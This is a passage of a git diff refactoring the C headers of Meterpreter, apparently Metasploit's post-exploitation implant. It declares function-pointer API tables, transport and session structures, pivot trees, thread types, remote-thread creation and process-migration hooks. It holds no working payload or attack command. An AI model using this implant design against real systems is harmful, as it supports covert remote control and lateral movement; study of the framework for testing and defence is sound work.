channel, PCHAR type); +} ChannelApi; + +typedef struct _LockApi +{ + LOCK* (*create)(); + VOID(*acquire)(LOCK* lock); + VOID(*destroy)(LOCK* lock); + VOID(*release)(LOCK* lock); +} LockApi; + +typedef struct _EventApi +{ + BOOL(*destroy)(EVENT* event); + BOOL(*poll)(EVENT* event, DWORD timeout); + BOOL(*signal)(EVENT* event); + EVENT*(*create)(); +} EventApi; + +typedef struct _ThreadApi +{ + BOOL(*destroy)(THREAD* thread); + BOOL(*join)(THREAD* thread); + BOOL(*kill)(THREAD* thread); + BOOL(*run)(THREAD* thread); + BOOL(*sigterm)(THREAD* thread); + THREAD*(*create)(THREADFUNK funk, LPVOID param1, LPVOID param2, LPVOID param3); + THREAD*(*open)(); + HANDLE(*create_remote)(HANDLE hProcess, SIZE_T sStackSize, LPVOID pvStartAddress, LPVOID pvStartParam, DWORD dwCreateFlags, LPDWORD pdwThreadId); + HANDLE(*update_token)( Remote *remote, HANDLE token ); +} ThreadApi; + +typedef struct _DesktopApi +{ + VOID(*update)( Remote * remote, DWORD dwSessionID, char * cpStationName, char * cpDesktopName ); +} DesktopApi; + +typedef struct _SchedulerApi +{ + DWORD(*initialize)(Remote* remote); + DWORD(*destroy)(); + DWORD(*insert_waitable)(HANDLE waitable, LPVOID entryContext, LPVOID threadContext, WaitableNotifyRoutine routine, WaitableDestroyRoutine destroy); + DWORD(*signal_waitable)(HANDLE waitable, SchedulerSignal signal); + DWORD(THREADCALL*waitable_thread)(THREAD* thread); +} SchedulerApi; + +typedef struct _PacketApi +{ + BOOL(*get_tlv_value_bool)(Packet* packet, TlvType type); + BYTE*(*get_tlv_value_raw)(Packet* packet, TlvType type); + DWORD(*add_completion_handler)(LPCSTR requestId, PacketRequestCompletion* completion); + DWORD(*add_exception)(Packet* packet, DWORD code, PCHAR fmt, ...); + DWORD(*add_group)(Packet* packet, TlvType type, Packet* groupPacket); + DWORD(*add_request_id)(Packet* packet); + DWORD(*add_tlv_bool)(Packet* packet, TlvType type, BOOL val); + DWORD(*add_tlv_group)(Packet* packet, TlvType type, Tlv* entries, DWORD numEntries); + DWORD(*add_tlv_qword)(Packet* packet, TlvType type, QWORD val); + DWORD(*add_tlv_raw)(Packet* packet, TlvType type, LPVOID buf, DWORD length); + DWORD(*add_tlv_string)(Packet* packet, TlvType type, LPCSTR str); + DWORD(*add_tlv_uint)(Packet* packet, TlvType type, UINT val); + DWORD(*add_tlv_wstring)(Packet* packet, TlvType type, LPCWSTR str); + DWORD(*add_tlv_wstring_len)(Packet* packet, TlvType type, LPCWSTR str, size_t strLength); + DWORD(*add_tlvs)(Packet* packet, Tlv* entries, DWORD numEntries); + DWORD(*call_completion_handlers)(Remote* remote, Packet* response, LPCSTR requestId); + DWORD(*enum_tlv)(Packet* packet, DWORD index, TlvType type, Tlv* tlv); + DWORD(*get_tlv)(Packet* packet, TlvType type, Tlv* tlv); + DWORD(*get_tlv_group_entry)(Packet* packet, Tlv* group, TlvType type, Tlv* entry); + DWORD(*get_tlv_string)(Packet* packet, TlvType type, Tlv* tlv); + DWORD(*is_tlv_null_terminated)(Tlv* tlv); + DWORD(*remove_completion_handler)(LPCSTR requestId); + DWORD(*transmit)(Remote* remote, Packet* packet, PacketRequestCompletion* completion); + DWORD(*transmit_empty_response)(Remote* remote, Packet* packet, DWORD res); + DWORD(*transmit_response)(DWORD result, Remote* remote, Packet* response); + PCHAR(*get_tlv_value_string)(Packet* packet, TlvType type); + Packet*(*create)(PacketTlvType type, LPCSTR method); + Packet*(*create_group)(); + Packet*(*create_response)(Packet* request); + PacketTlvType(*get_type)(Packet* packet); + QWORD(*get_tlv_value_qword)(Packet* packet, TlvType type); + TlvMetaType(*get_tlv_meta)(Packet* packet, Tlv* tlv); + UINT(*get_tlv_value_uint)(Packet* packet, TlvType type); + VOID(*destroy)(Packet* packet); + wchar_t*(*get_tlv_value_wstring)(Packet* packet, TlvType type); +} PacketApi;; + +typedef struct _CommandApi +{ + void(*deregister_all)(Command commands[]); + void(*register_all)(Command commands[]); + BOOL(*handle)(Remote* remote, Packet* packet); +} CommandApi; + +typedef struct _StringApi +{ + wchar_t*(*utf8_to_wchar)(const char* in); + char*(*wchar_to_utf8)(const wchar_t* in); +} StringApi; + +typedef struct _ListApi +{ + BOOL(*add)(PLIST pList, LPVOID data); + BOOL(*clear)(PLIST pList, PCLEARFUNC pFunc); + BOOL(*enumerate)(PLIST pList, PLISTENUMCALLBACK pCallback, LPVOID pState); + BOOL(*push)(PLIST pList, LPVOID data); + BOOL(*remove)(PLIST pList, LPVOID data); + BOOL(*remove_at)(PLIST pList, DWORD index); + DWORD(*count)(PLIST pList); + LIST*(*create)(VOID); + LPVOID(*get)(PLIST pList, DWORD index); + LPVOID(*pop)(PLIST pList); + LPVOID(*shift)(PLIST pList); + VOID(*destroy)(PLIST pList); +} ListApi; + +typedef struct _MetApi +{ + PacketApi packet; + CommandApi command; + ThreadApi thread; + LockApi lock; + EventApi event; + ChannelApi channel; + SchedulerApi scheduler; + StringApi string; + InjectApi inject; + DesktopApi desktop; + ListApi list; +} MetApi; + +extern MetApi* met_api; + +#endif diff --git a/c/meterpreter/source/common/common_pivot_tree.h b/c/meterpreter/source/common/common_pivot_tree.h new file mode 100644 index 00000000..5733f17c --- /dev/null +++ b/c/meterpreter/source/common/common_pivot_tree.h @@ -0,0 +1,23 @@ +#ifndef _METERPRETER_COMMON_PIVOT_TREE_H +#define _METERPRETER_COMMON_PIVOT_TREE_H + +typedef DWORD(*PivotWritePacket)(LPVOID state, LPBYTE rawPacket, DWORD rawPacketLength); +typedef DWORD(*PivotRemove)(LPVOID state); + +typedef struct _PivotContext +{ + PivotWritePacket packet_write; + PivotRemove remove; + LPVOID state; +} PivotContext; + +typedef struct _PivotNode PivotNode; + +typedef struct _PivotTree +{ + PivotNode* head; +} PivotTree; + +typedef void(*PivotTreeTraverseCallback)(LPBYTE guid, PivotContext* ctx, LPVOID state); + +#endif diff --git a/c/meterpreter/source/common/remote.h b/c/meterpreter/source/common/common_remote.h old mode 100755 new mode 100644 similarity index 94% rename from c/meterpreter/source/common/remote.h rename to c/meterpreter/source/common/common_remote.h index ab65107f..f433a316 --- a/c/meterpreter/source/common/remote.h +++ b/c/meterpreter/source/common/common_remote.h @@ -1,177 +1,170 @@ -/*! - * @file remote.h - * @brief Declarations of functions and types that interact with a remote endpoint. - */ -#ifndef _METERPRETER_LIB_REMOTE_H -#define _METERPRETER_LIB_REMOTE_H - -#include "thread.h" -#include "config.h" -#include "pivot_tree.h" - -/*! @brief This is the size of the certificate hash that is validated (sha1) */ -#define CERT_HASH_SIZE 20 - -typedef wchar_t CHARTYPE; -typedef CHARTYPE* STRTYPE; - -// Forward declarations required to keep compilers happy. -typedef struct _Packet Packet; -typedef struct _PacketRequestCompletion PacketRequestCompletion; -typedef struct _Transport Transport; -typedef struct _SslLib SslLib; -typedef struct _Remote Remote; -typedef struct _TimeoutSettings TimeoutSettings; -typedef struct _HttpTransportContext HttpTransportContext; -typedef struct _PacketEncryptionContext PacketEncryptionContext; - -typedef UINT_PTR(*PTransportGetHandle)(Transport* transport); -typedef DWORD(*PTransportGetConfigSize)(Transport* transport); -typedef void(*PTransportSetHandle)(Transport* transport, UINT_PTR handle); -typedef void(*PTransportReset)(Transport* transport, BOOL shuttingDown); -typedef BOOL(*PTransportInit)(Transport* transport); -typedef BOOL(*PTransportDeinit)(Transport* transport); -typedef void(*PTransportDestroy)(Transport* transport); -typedef DWORD(*PTransportGetMigrateContext)(Transport* transport, DWORD targetProcessId, HANDLE targetProcessHandle, LPDWORD contextSize, LPBYTE* contextBuffer); -typedef Transport*(*PTransportCreate)(Remote* remote, MetsrvTransportCommon* config, LPDWORD size); -typedef void(*PTransportRemove)(Remote* remote, Transport* oldTransport); -typedef void(*PConfigCreate)(Remote* remote, LPBYTE uuid, MetsrvConfig** config, LPDWORD size); - -typedef BOOL(*PServerDispatch)(Remote* remote, THREAD* dispatchThread); -typedef DWORD(*PPacketTransmit)(Remote* remote, LPBYTE rawPacket, DWORD rawPacketLength); - -typedef HANDLE(*PCreateHttpRequest)(HttpTransportContext* ctx, BOOL isGet, const char* direction); -typedef BOOL(*PSendHttpRequest)(HttpTransportContext* ctx, HANDLE hReq, LPVOID buffer, DWORD size); -typedef BOOL(*PCloseRequest)(HANDLE hReq); -typedef DWORD(*PValidateResponse)(HANDLE hReq, HttpTransportContext* ctx); -typedef BOOL(*PReceiveResponse)(HANDLE hReq); -typedef BOOL(*PReadResponse)(HANDLE hReq, LPVOID buffer, DWORD bytesToRead, LPDWORD bytesRead); - -typedef struct _TimeoutSettings -{ - /*! @ brief The total number of seconds to wait for a new packet before killing off the session. */ - int comms; - /*! @ brief The total number of seconds to keep retrying for before a new session is established. */ - UINT retry_total; - /*! @ brief The number of seconds to wait between reconnects. */ - UINT retry_wait; -} TimeoutSettings; - -typedef struct _TcpTransportContext -{ - SOCKET fd; ///! Remote socket file descriptor. - SOCKET listen; ///! Listen socket descriptor, if any. -} TcpTransportContext; - -typedef struct _NamedPipeTransportContext -{ - STRTYPE pipe_name; ///! Name of the pipe in '\\\' format - HANDLE pipe; ///! Reference to the named pipe handle. - LOCK* write_lock; ///! Reference to the thread write lock. -} NamedPipeTransportContext; - -typedef struct _HttpTransportContext -{ - BOOL ssl; ///! Flag indicating whether the connection uses SSL. - HANDLE internet; ///! Handle to the internet module for use with HTTP and HTTPS. - HANDLE connection; ///! Handle to the HTTP or HTTPS connection. - unsigned char* cert_hash; ///! Pointer to the 20-byte certificate hash to validate - - CSTRTYPE url; ///! Pointer to the URL stored with the transport. - STRTYPE ua; ///! User agent string. - STRTYPE uri; ///! UUID encoded as a URI. - STRTYPE new_uri; ///! New URI for stageless URI switches - STRTYPE proxy; ///! Proxy details. - STRTYPE proxy_user; ///! Proxy username. - STRTYPE proxy_pass; ///! Proxy password. - STRTYPE custom_headers; ///! List of custom headers to add to outgoing requests. - - BOOL proxy_configured; ///! Indication of whether the proxy has been configured. - LPVOID proxy_for_url; ///! Pointer to the proxy for the current url (if required). - - BOOL move_to_wininet; ///! If set, winhttp is busted, and we need to move to wininet. - - PCreateHttpRequest create_req; ///! WinHTTP/WinINET specific request creation. - PSendHttpRequest send_req; ///! WinHTTP/WinINET specifc request sending. - PCloseRequest close_req; ///! WinHTTP/WinINET specifc request closing. - PValidateResponse validate_response; ///! WinHTTP/WinINET specific response validation. - PReceiveResponse receive_response; ///! WinHttp/WinINET specific response data reception. - PReadResponse read_response; ///! WinHttp/WinINET specific response data reading. -} HttpTransportContext; - -typedef struct _Transport -{ - DWORD type; ///! The type of transport in use. - PTransportGetHandle get_handle; ///! Function to get the socket/handle from the transport. - PTransportSetHandle set_handle; ///! Function to set the socket/handle on the transport. - PTransportGetConfigSize get_config_size; ///! Function to get the size of the configuration for the transport. - PTransportReset transport_reset; ///! Function to reset/clean the transport ready for restarting. - PTransportInit transport_init; ///! Initialises the transport. - PTransportDeinit transport_deinit; ///! Deinitialises the transport. - PTransportDestroy transport_destroy; ///! Destroy the transport. - PServerDispatch server_dispatch; ///! Transport dispatch function. - PPacketTransmit packet_transmit; ///! Transmits a packet over the transport. - PTransportGetMigrateContext get_migrate_context; ///! Creates a migrate context that is transport-specific. - STRTYPE url; ///! Full URL describing the comms in use. - VOID* ctx; ///! Pointer to the type-specific transport context; - TimeoutSettings timeouts; ///! Container for the timeout settings. - int comms_last_packet; ///! Unix timestamp of the last packet received. - struct _Transport* next_transport; ///! Pointer to the next transport in the list. - struct _Transport* prev_transport; ///! Pointer to the previous transport in the list. -} Transport; - -/*! - * @brief Remote context allocation. - * @details Wraps the initialized file descriptor for extension purposes. - * A \c Remote is effectively a pointer to a remote client context - * which contains magic pixie dust that identifies the connection - * along with a way to interact with it. - * @remark The `Original` and `Current` members are used to allow for - * functionality such as `rev2self` and reverting back to the initial - * desktop stations/desktops. - */ -typedef struct _Remote -{ - HMODULE met_srv; ///! Reference to the Meterpreter server instance. - - PConfigCreate config_create; ///! Pointer to the function that will create a configuration block from the curren setup. - - Transport* transport; ///! Pointer to the currently used transport mechanism in a circular list of transports - Transport* next_transport; ///! Set externally when transports are requested to be changed. - DWORD next_transport_wait; ///! Number of seconds to wait before going to the next transport (used for sleeping). - - MetsrvConfig* orig_config; ///! Pointer to the original configuration. - - LOCK* lock; ///! General transport usage lock (used by SSL, and desktop stuff too). - - HANDLE server_thread; ///! Handle to the current server thread. - HANDLE server_token; ///! Handle to the current server security token. - HANDLE thread_token; ///! Handle to the current thread security token. - - DWORD orig_sess_id; ///! ID of the original Meterpreter session. - DWORD curr_sess_id; ///! ID of the currently active session. - char* orig_station_name; ///! Original station name. - char* curr_station_name; ///! Name of the current station. - - char* orig_desktop_name; ///! Original desktop name. - char* curr_desktop_name; ///! Name of the current desktop. - - PTransportCreate trans_create; ///! Helper to create transports from configuration. - PTransportRemove trans_remove; ///! Helper to remove transports from the current session. - - int sess_expiry_time; ///! Number of seconds that the session runs for. - int sess_expiry_end; ///! Unix timestamp for when the server should shut down. - int sess_start_time; ///! Unix timestamp representing the session startup time. - - PivotTree* pivot_sessions; ///! Collection of active Meterpreter session pivots. - PivotTree* pivot_listeners; ///! Collection of active Meterpreter pivot listeners. - - PacketEncryptionContext* enc_ctx; ///! Reference to the packet encryption context. -} Remote; - -Remote* remote_allocate(); -VOID remote_deallocate(Remote *remote); - -VOID remote_set_fd(Remote *remote, SOCKET fd); - -#endif +/*! + * @file remote.h + * @brief Declarations of functions and types that interact with a remote endpoint. + */ +#ifndef _METERPRETER_COMMON_REMOTE_H +#define _METERPRETER_COMMON_REMOTE_H + +#include "common_thread.h" +#include "common_config.h" +#include "common_pivot_tree.h" + +/*! @brief This is the size of the certificate hash that is validated (sha1) */ +#define CERT_HASH_SIZE 20 + +typedef wchar_t CHARTYPE; +typedef CHARTYPE* STRTYPE; + +// Forward declarations required to keep compilers happy. +typedef struct _Packet Packet; +typedef struct _PacketRequestCompletion PacketRequestCompletion; +typedef struct _Transport Transport; +typedef struct _SslLib SslLib; +typedef struct _Remote Remote; +typedef struct _TimeoutSettings TimeoutSettings; +typedef struct _HttpTransportContext HttpTransportContext; +typedef struct _PacketEncryptionContext PacketEncryptionContext; + +typedef UINT_PTR(*PTransportGetHandle)(Transport* transport); +typedef DWORD(*PTransportGetConfigSize)(Transport* transport); +typedef void(*PTransportSetHandle)(Transport* transport, UINT_PTR handle); +typedef void(*PTransportReset)(Transport* transport, BOOL shuttingDown); +typedef BOOL(*PTransportInit)(Transport* transport); +typedef BOOL(*PTransportDeinit)(Transport* transport); +typedef void(*PTransportDestroy)(Transport* transport); +typedef DWORD(*PTransportGetMigrateContext)(Transport* transport, DWORD targetProcessId, HANDLE targetProcessHandle, LPDWORD contextSize, LPBYTE* contextBuffer); +typedef Transport*(*PTransportCreate)(Remote* remote, MetsrvTransportCommon* config, LPDWORD size); +typedef void(*PTransportRemove)(Remote* remote, Transport* oldTransport); +typedef void(*PConfigCreate)(Remote* remote, LPBYTE uuid, MetsrvConfig** config, LPDWORD size); + +typedef BOOL(*PServerDispatch)(Remote* remote, THREAD* dispatchThread); +typedef DWORD(*PPacketTransmit)(Remote* remote, LPBYTE rawPacket, DWORD rawPacketLength); + +typedef HANDLE(*PCreateHttpRequest)(HttpTransportContext* ctx, BOOL isGet, const char* direction); +typedef BOOL(*PSendHttpRequest)(HttpTransportContext* ctx, HANDLE hReq, LPVOID buffer, DWORD size); +typedef BOOL(*PCloseRequest)(HANDLE hReq); +typedef DWORD(*PValidateResponse)(HANDLE hReq, HttpTransportContext* ctx); +typedef BOOL(*PReceiveResponse)(HANDLE hReq); +typedef BOOL(*PReadResponse)(HANDLE hReq, LPVOID buffer, DWORD bytesToRead, LPDWORD bytesRead); + +typedef struct _TimeoutSettings +{ + /*! @ brief The total number of seconds to wait for a new packet before killing off the session. */ + int comms; + /*! @ brief The total number of seconds to keep retrying for before a new session is established. */ + UINT retry_total; + /*! @ brief The number of seconds to wait between reconnects. */ + UINT retry_wait; +} TimeoutSettings; + +typedef struct _TcpTransportContext +{ + SOCKET fd; ///! Remote socket file descriptor. + SOCKET listen; ///! Listen socket descriptor, if any. +} TcpTransportContext; + +typedef struct _NamedPipeTransportContext +{ + STRTYPE pipe_name; ///! Name of the pipe in '\\\' format + HANDLE pipe; ///! Reference to the named pipe handle. + LOCK* write_lock; ///! Reference to the thread write lock. +} NamedPipeTransportContext; + +typedef struct _HttpTransportContext +{ + BOOL ssl; ///! Flag indicating whether the connection uses SSL. + HANDLE internet; ///! Handle to the internet module for use with HTTP and HTTPS. + HANDLE connection; ///! Handle to the HTTP or HTTPS connection. + unsigned char* cert_hash; ///! Pointer to the 20-byte certificate hash to validate + + CSTRTYPE url; ///! Pointer to the URL stored with the transport. + STRTYPE ua; ///! User agent string. + STRTYPE uri; ///! UUID encoded as a URI. + STRTYPE new_uri; ///! New URI for stageless URI switches + STRTYPE proxy; ///! Proxy details. + STRTYPE proxy_user; ///! Proxy username. + STRTYPE proxy_pass; ///! Proxy password. + STRTYPE custom_headers; ///! List of custom headers to add to outgoing requests. + + BOOL proxy_configured; ///! Indication of whether the proxy has been configured. + LPVOID proxy_for_url; ///! Pointer to the proxy for the current url (if required). + + BOOL move_to_wininet; ///! If set, winhttp is busted, and we need to move to wininet. + + PCreateHttpRequest create_req; ///! WinHTTP/WinINET specific request creation. + PSendHttpRequest send_req; ///! WinHTTP/WinINET specifc request sending. + PCloseRequest close_req; ///! WinHTTP/WinINET specifc request closing. + PValidateResponse validate_response; ///! WinHTTP/WinINET specific response validation. + PReceiveResponse receive_response; ///! WinHttp/WinINET specific response data reception. + PReadResponse read_response; ///! WinHttp/WinINET specific response data reading. +} HttpTransportContext; + +typedef struct _Transport +{ + DWORD type; ///! The type of transport in use. + PTransportGetHandle get_handle; ///! Function to get the socket/handle from the transport. + PTransportSetHandle set_handle; ///! Function to set the socket/handle on the transport. + PTransportGetConfigSize get_config_size; ///! Function to get the size of the configuration for the transport. + PTransportReset transport_reset; ///! Function to reset/clean the transport ready for restarting. + PTransportInit transport_init; ///! Initialises the transport. + PTransportDeinit transport_deinit; ///! Deinitialises the transport. + PTransportDestroy transport_destroy; ///! Destroy the transport. + PServerDispatch server_dispatch; ///! Transport dispatch function. + PPacketTransmit packet_transmit; ///! Transmits a packet over the transport. + PTransportGetMigrateContext get_migrate_context; ///! Creates a migrate context that is transport-specific. + STRTYPE url; ///! Full URL describing the comms in use. + VOID* ctx; ///! Pointer to the type-specific transport context; + TimeoutSettings timeouts; ///! Container for the timeout settings. + int comms_last_packet; ///! Unix timestamp of the last packet received. + struct _Transport* next_transport; ///! Pointer to the next transport in the list. + struct _Transport* prev_transport; ///! Pointer to the previous transport in the list. +} Transport; + +/*! + * @brief Remote context allocation. + * @details Wraps the initialized file descriptor for extension purposes. + * A \c Remote is effectively a pointer to a remote client context + * which contains magic pixie dust that identifies the connection + * along with a way to interact with it. + * @remark The `Original` and `Current` members are used to allow for + * functionality such as `rev2self` and reverting back to the initial + * desktop stations/desktops. + */ +typedef struct _Remote +{ + PConfigCreate config_create; ///! Pointer to the function that will create a configuration block from the curren setup. + + Transport* transport; ///! Pointer to the currently used transport mechanism in a circular list of transports + Transport* next_transport; ///! Set externally when transports are requested to be changed. + DWORD next_transport_wait; ///! Number of seconds to wait before going to the next transport (used for sleeping). + + MetsrvConfig* orig_config; ///! Pointer to the original configuration. + + LOCK* lock; ///! General transport usage lock (used by SSL, and desktop stuff too). + + HANDLE server_thread; ///! Handle to the current server thread. + HANDLE server_token; ///! Handle to the current server security token. + HANDLE thread_token; ///! Handle to the current thread security token. + + DWORD orig_sess_id; ///! ID of the original Meterpreter session. + DWORD curr_sess_id; ///! ID of the currently active session. + char* orig_station_name; ///! Original station name. + char* curr_station_name; ///! Name of the current station. + + char* orig_desktop_name; ///! Original desktop name. + char* curr_desktop_name; ///! Name of the current desktop. + + PTransportCreate trans_create; ///! Helper to create transports from configuration. + PTransportRemove trans_remove; ///! Helper to remove transports from the current session. + + int sess_expiry_time; ///! Number of seconds that the session runs for. + int sess_expiry_end; ///! Unix timestamp for when the server should shut down. + int sess_start_time; ///! Unix timestamp representing the session startup time. + + PivotTree* pivot_sessions; ///! Collection of active Meterpreter session pivots. + PivotTree* pivot_listeners; ///! Collection of active Meterpreter pivot listeners. + + PacketEncryptionContext* enc_ctx; ///! Reference to the packet encryption context. +} Remote; + +#endif diff --git a/c/meterpreter/source/common/common_scheduler.h b/c/meterpreter/source/common/common_scheduler.h new file mode 100644 index 00000000..c975de4c --- /dev/null +++ b/c/meterpreter/source/common/common_scheduler.h @@ -0,0 +1,14 @@ +#ifndef _METERPRETER_COMMON_SCHEDULER_H +#define _METERPRETER_COMMON_SCHEDULER_H + +typedef enum +{ + SchedulerPause = 1, + SchedulerResume = 2, + SchedulerStop = 3 +} SchedulerSignal; + +typedef DWORD (*WaitableNotifyRoutine)(Remote *remote, LPVOID entryContext, LPVOID threadContext); +typedef DWORD (*WaitableDestroyRoutine)(HANDLE waitable, LPVOID entryContext, LPVOID threadContext); + +#endif diff --git a/c/meterpreter/source/common/common_thread.h b/c/meterpreter/source/common/common_thread.h new file mode 100644 index 00000000..a53cb8e9 --- /dev/null +++ b/c/meterpreter/source/common/common_thread.h @@ -0,0 +1,31 @@ +#ifndef _METERPRETER_COMMON_THREAD_H +#define _METERPRETER_COMMON_THREAD_H + +typedef struct _LOCK +{ + HANDLE handle; +} LOCK, * LPLOCK; + +typedef struct _EVENT +{ + HANDLE handle; +} EVENT, * LPEVENT; + +#define THREADCALL __stdcall + +typedef DWORD (THREADCALL * THREADFUNK)(struct _THREAD * thread); + +struct _THREAD +{ + DWORD id; + HANDLE handle; + EVENT * sigterm; + THREADFUNK funk; + LPVOID parameter1; + LPVOID parameter2; + LPVOID parameter3; +}; + +typedef struct _THREAD THREAD, * LPTHREAD; + +#endif diff --git a/c/meterpreter/source/common/compat_types.h b/c/meterpreter/source/common/compat_types.h deleted file mode 100644 index 8d0a90f5..00000000 --- a/c/meterpreter/source/common/compat_types.h +++ /dev/null @@ -1,235 +0,0 @@ -#ifndef UNIX_COMPAT_TYPES_H -#define UNIX_COMPAT_TYPES_H -#include -#include -#include - -#if defined(__FreeBSD__) -#include -#elif defined(__linux__) -#define __va_list __ptr_t -#define __USE_XOPEN -#else -#error unknown OS -#endif - -#define NULL ((void *)0) - -#if 0 -// PKS, should use system headers. -#define PAGE_SIZE 4096 -#define PAGE_SHIFT 12 -#endif - -/* - * need to separate out platform types - */ - -#if defined(__FreeBSD__) -#if defined(__LP64__) -typedef int64_t intptr_t; -typedef uint64_t uintptr_t; -typedef uint64_t uintmax_t; -#else -typedef int32_t intptr_t; -typedef uint32_t uintptr_t; -typedef uint32_t uintmax_t; -#endif -#endif - -#if 0 -#define PAGE_MASK (PAGE_SIZE-1) -#endif - -#define trunc_page(x) ((unsigned long)(x) & ~(PAGE_MASK)) - - -#define _strdup strdup -#define _vsnprintf vsnprintf - -#define strcat_s(buf1, len, buf2) strcat((buf1), (buf2)) -#define closesocket close - -#if 0 -/* - * Protections are chosen from these bits, or-ed together - */ -#define PROT_NONE 0x00 /* no permissions */ -#define PROT_READ 0x01 /* pages can be read */ -#define PROT_WRITE 0x02 /* pages can be written */ -#define PROT_EXEC 0x04 /* pages can be executed */ - -/* - * Flags contain sharing type and options. - * Sharing types; choose one. - */ -#define MAP_SHARED 0x0001 /* share changes */ -#define MAP_PRIVATE 0x0002 /* changes are private */ - -/* - * Mapping type - */ -#define MAP_FILE 0x0000 /* map from file (default) */ -#define MAP_ANON 0x1000 /* allocated from memory, swap space */ - -/* - * Error return from mmap() - */ -#define MAP_FAILED ((void *)-1) - -/* - * Advice to madvise - */ -#define _MADV_NORMAL 0 /* no further special treatment */ -#define _MADV_RANDOM 1 /* expect random page references */ -#define _MADV_SEQUENTIAL 2 /* expect sequential page references */ -#define _MADV_WILLNEED 3 /* will need these pages */ -#define _MADV_DONTNEED 4 /* dont need these pages */ - -#define MADV_NORMAL _MADV_NORMAL -#define MADV_RANDOM _MADV_RANDOM -#define MADV_SEQUENTIAL _MADV_SEQUENTIAL -#define MADV_WILLNEED _MADV_WILLNEED -#define MADV_DONTNEED _MADV_DONTNEED -#define MADV_FREE 5 /* dont need these pages, and junk contents */ - -void *memcpy(void *idst, const void *isrc, size_t n); - -int strcmp (const char *s1, const char *s2); - -int strncmp(const char *s1, const char *s2, size_t n); - -size_t strlen (const char *s); - -char *strcpy (char *dst, const char *src); - -char *strcat (char *dst, const char *src); - -char *strstr(const char *s, const char *find); - -unsigned long s_strtoul (const char *cp); - -void *memset(void *b, int c, size_t len); - -void bzero(void *b, size_t len); - -char *strdup(const char *__restrict); - -#define STDIN_FILENO 0 /* standard input file descriptor */ -#define STDOUT_FILENO 1 /* standard output file descriptor */ -#define STDERR_FILENO 2 /* standard error file descriptor */ - -ssize_t write(int d, const void *buf, size_t nbytes); -ssize_t read(int d, void *buf, size_t nbytes); - -void abort(void); - -void free(void *ptr); - -void *malloc(size_t size); - -#endif - -#ifdef __GNUCLIKE_BUILTIN_STDARG - -#ifndef va_start -#define va_start(ap, last) \ - __builtin_va_start((ap), (last)) -#endif - -#ifndef va_arg -#define va_arg(ap, type) \ - __builtin_va_arg((ap), type) -#endif - -#ifndef __va_copy -#define __va_copy(dest, src) \ - __builtin_va_copy((dest), (src)) -#endif - -#if __ISO_C_VISIBLE >= 1999 -#ifndef va_copy -#define va_copy(dest, src) \ - __va_copy(dest, src) -#endif -#endif - -#ifndef va_end -#define va_end(ap) \ - __builtin_va_end(ap) -#endif - -#endif - - -typedef char BOOL; -typedef char BOOLEAN; -typedef BOOL * LPBOOL; -typedef char CHAR; -typedef CHAR * PCHAR; -typedef void * LPVOID; -typedef unsigned char BYTE; -typedef BYTE * LPBYTE; - - -typedef uint32_t ULONG; -typedef uint32_t * PULONG; -typedef const char CSTR; -typedef const wchar_t CWSTR; -typedef unsigned char UCHAR; -typedef UCHAR * PUCHAR; -typedef CSTR * LPCSTR; -typedef CWSTR * LPCWSTR; -typedef char * LPSTR; -typedef long DWORD; -typedef DWORD * LPDWORD; -typedef int32_t LONG; -typedef LONG * LPLONG; -typedef unsigned int UINT; -typedef int HANDLE; -typedef int SOCKET; -typedef void VOID; -typedef VOID * PVOID; -typedef void * HMODULE; -typedef short SHORT; -typedef unsigned short USHORT; -typedef uint64_t QWORD; - -#ifndef TRUE - #define TRUE (1) -#endif -#ifndef FALSE - #define FALSE (0) -#endif - -#define ERROR_NOT_FOUND ENOENT -#define ERROR_NOT_ENOUGH_MEMORY ENOMEM -#define ERROR_INVALID_PARAMETER EINVAL -#define ERROR_INVALID_HANDLE EINVAL -#define ERROR_INVALID_DATA EINVAL -#define ERROR_INVALID_FUNCTION EINVAL -#define ERROR_UNSUPPORTED_COMPRESSION EINVAL -#define ERROR_NOT_SUPPORTED EOPNOTSUPP - -#if defined(__FreeBSD__) - #define ERROR_INSTALL_USEREXIT EPROGUNAVAIL -#elif defined(__linux__) - #define ERROR_INSTALL_USEREXIT ENOPROTOOPT -#else - #error unknown OS -#endif - -#define ERROR_SUCCESS (0) -#define NO_ERROR (0) - -int local_error; - -#define WSAGetLastError() GetLastError() -#define GetLastError() (local_error != -1 ? local_error : errno) -#define SetLastError(x) (local_error = (x)) -#define __declspec(x) - -#define __try -#define __except(x) if (0) - -#endif diff --git a/c/meterpreter/source/common/linkage.h b/c/meterpreter/source/common/linkage.h deleted file mode 100644 index e1c0c768..00000000 --- a/c/meterpreter/source/common/linkage.h +++ /dev/null @@ -1,14 +0,0 @@ -#ifndef _METERPRETER_LIB_LINKAGE_H -#define _METERPRETER_LIB_LINKAGE_H - -#ifdef USE_DLL - #ifdef METERPRETER_EXPORTS - #define LINKAGE __declspec(dllexport) - #else - #define LINKAGE __declspec(dllimport) - #endif -#else - #define LINKAGE -#endif - -#endif diff --git a/c/meterpreter/source/common/pivot_packet_dispatch.h b/c/meterpreter/source/common/pivot_packet_dispatch.h deleted file mode 100755 index ed743426..00000000 --- a/c/meterpreter/source/common/pivot_packet_dispatch.h +++ /dev/null @@ -1,6 +0,0 @@ -#ifndef _METERPRETER_PIVOT_PACKET_DISPATCH -#define _METERPRETER_PIVOT_PACKET_DISPATCH - -DWORD pivot_packet_dispatch(PivotContext* pivotCtx, LPBYTE packetBuffer, DWORD packetSize); - -#endif \ No newline at end of file diff --git a/c/meterpreter/source/common/pivot_tree.h b/c/meterpreter/source/common/pivot_tree.h deleted file mode 100755 index 4697af72..00000000 --- a/c/meterpreter/source/common/pivot_tree.h +++ /dev/null @@ -1,35 +0,0 @@ -#ifndef _METERPRETER_PIVOT_TREE -#define _METERPRETER_PIVOT_TREE - -typedef DWORD(*PivotWritePacket)(LPVOID state, LPBYTE rawPacket, DWORD rawPacketLength); -typedef DWORD(*PivotRemove)(LPVOID state); - -typedef struct _PivotContext -{ - PivotWritePacket packet_write; - PivotRemove remove; - LPVOID state; -} PivotContext; - -typedef struct _PivotNode PivotNode; - -typedef struct _PivotTree -{ - PivotNode* head; -} PivotTree; - -typedef void(*PivotTreeTraverseCallback)(LPBYTE guid, PivotContext* ctx, LPVOID state); - -PivotTree* pivot_tree_create(); -DWORD pivot_tree_add(PivotTree* tree, LPBYTE guid, PivotContext* ctx); -PivotContext* pivot_tree_remove(PivotTree* tree, LPBYTE guid); -PivotContext* pivot_tree_find(PivotTree* tree, LPBYTE guid); -void pivot_tree_traverse(PivotTree* tree, PivotTreeTraverseCallback callback, LPVOID state); -void pivot_tree_destroy(PivotTree* tree); - - -#ifdef DEBUGTRACE -void dbgprint_pivot_tree(PivotTree* tree); -#endif - -#endif \ No newline at end of file 